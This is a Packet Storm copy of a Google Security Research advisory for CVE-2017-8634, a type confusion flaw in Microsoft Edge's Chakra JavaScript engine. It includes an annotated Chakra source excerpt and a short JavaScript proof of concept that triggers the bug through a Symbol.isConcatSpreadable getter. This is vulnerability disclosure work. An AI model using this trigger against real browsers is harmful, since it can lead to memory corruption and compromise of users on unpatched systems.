Exploit the possiblities

Microsoft Edge Chakra JavascriptArray::ConcatArgs Type Confusion

Microsoft Edge Chakra JavascriptArray::ConcatArgs Type Confusion
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from a type confusion vulnerability in JavascriptArray::ConcatArgs.

tags | advisory
advisories | CVE-2017-8634
MD5 | 3eadfb4f26ae49414d9bbcd6ff420ab0

Microsoft Edge Chakra JavascriptArray::ConcatArgs Type Confusion

Change Mirror Download
 Microsoft Edge: Chakra: Type confusion in JavascriptArray::ConcatArgs 

CVE-2017-8634


Let's assume that the following method is called with "firstPromotedItemIsSpreadable = true", and "args" has two elements an array and an integer 0x1234 sequentially.
In the first loop, "aItem" is an array, and "firstPromotedItemIsSpreadable" remains true because the condition for the fast path is satisfied. In the second loop, "aItem" is 0x1234 and not spreadable, but the code at (a) makes the "spreadable" variable true, thus it reaches (b) and a type confusion occurs.

template<typename T>
void JavascriptArray::ConcatArgs(RecyclableObject* pDestObj, TypeId* remoteTypeIds,
Js::Arguments& args, ScriptContext* scriptContext, uint start, uint startIdxDest,
BOOL firstPromotedItemIsSpreadable, BigIndex firstPromotedItemLength, bool spreadableCheckedAndTrue)
{
JS_REENTRANCY_LOCK(jsReentLock, scriptContext->GetThreadContext());
JavascriptArray* pDestArray = nullptr;

if (JavascriptArray::Is(pDestObj))
{
pDestArray = JavascriptArray::FromVar(pDestObj);
}

T idxDest = startIdxDest;
for (uint idxArg = start; idxArg < args.Info.Count; idxArg++)
{
Var aItem = args[idxArg];
bool spreadable = spreadableCheckedAndTrue;
if (!spreadable && scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
// firstPromotedItemIsSpreadable is ONLY used to resume after a type promotion from uint32 to uint64
// we do this because calls to IsConcatSpreadable are observable (a big deal for proxies) and we don't
// want to do the work a second time as soon as we record the length we clear the flag.
JS_REENTRANT(jsReentLock, spreadable = firstPromotedItemIsSpreadable || JavascriptOperators::IsConcatSpreadable(aItem)); <<------------------------- (a)

if (!spreadable)
{
JS_REENTRANT(jsReentLock, JavascriptArray::SetConcatItem<T>(aItem, idxArg, pDestArray, pDestObj, idxDest, scriptContext));
++idxDest;
continue;
}
}
else
{
spreadableCheckedAndTrue = false; // if it was `true`, reset after the first use
}

if (pDestArray && JavascriptArray::IsDirectAccessArray(aItem) && JavascriptArray::IsDirectAccessArray(pDestArray)
&& BigIndex(idxDest + JavascriptArray::FromVar(aItem)->length).IsSmallIndex() && !JavascriptArray::FromVar(aItem)->IsFillFromPrototypes()) // Fast path
{
...
}
else
{
// Flatten if other array or remote array (marked with TypeIds_Array)
if (DynamicObject::IsAnyArray(aItem) || remoteTypeIds[idxArg] == TypeIds_Array || spreadable)
{
<<-------------------------------------------------------------------------------------------------- (b)
//CONSIDER: enumerating remote array instead of walking all indices
BigIndex length;
if (firstPromotedItemIsSpreadable)
{
firstPromotedItemIsSpreadable = false;
length = firstPromotedItemLength;
}
else
{
JS_REENTRANT(jsReentLock, length = OP_GetLength(aItem, scriptContext));
}
...
RecyclableObject* itemObject = RecyclableObject::FromVar(aItem); <<----------------------- TYPE CONFUSION
...
}
...
}
...
}
}

PoC:
let a = [0];
let b = [0];
b.__defineGetter__(Symbol.isConcatSpreadable, () => {
b[0] = 1.2;
return true;
});

let res = a.concat(b, 0x1234);
print(res);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close